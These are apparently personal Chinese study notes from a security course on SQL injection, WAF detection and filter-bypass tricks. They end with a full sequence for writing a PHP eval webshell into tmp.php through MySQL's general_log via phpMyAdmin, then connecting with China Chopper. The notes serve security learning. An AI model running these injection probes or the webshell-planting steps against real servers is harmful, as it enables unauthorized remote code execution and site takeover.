以下内容来自铁三直播课程,仅作为个人学习使用,勿用作非法用途
SQL注入及WAF绕过
这次没认真听课,记得比较少,以后学到实战后再回来补充吧
注入过程中如何判断目标是否有WAF
1、sqlmap -u url --identify-waf --batch
2、手工判断 xxx.com/?user=a’ union select 1,2,3,4 --+ 放入一个不存在的回显处去出发waf防护
形式变化:页面无法访问、相应码异常、返回与正常页面不同的结果
sql注入绕过
黑名单过滤:空格、/、’、and、or、union、select、sleep()、"等
绕过方法:双写、大小写、编码绕过(base,ascii,宽字符,url,unicode)、注释(/**/和()和%0A可以替代空格)
通过phpmyadmin上传文件–mysql日志相关配置
两个主要的参数:general_log、general_log_file
general_log=ON\OFF,表示查看日志功能是否开启
general_log_file="…", 表示存储日志所在目录文件
show variables like 'general_log';
--查看日志是否开启
set global general_log=on;
--开启日志功能
show varialbes like 'general_log_file';
--查看日志文件保存位置
set global general_log_file='tmp.php';
--设置日志文件保存位置
通过设置general_log后再执行语句就会被保存到tmp.php中
select '<?php eval($_POST[cmd]);?>';
然后通过菜刀就可以访问tmp.php进行链接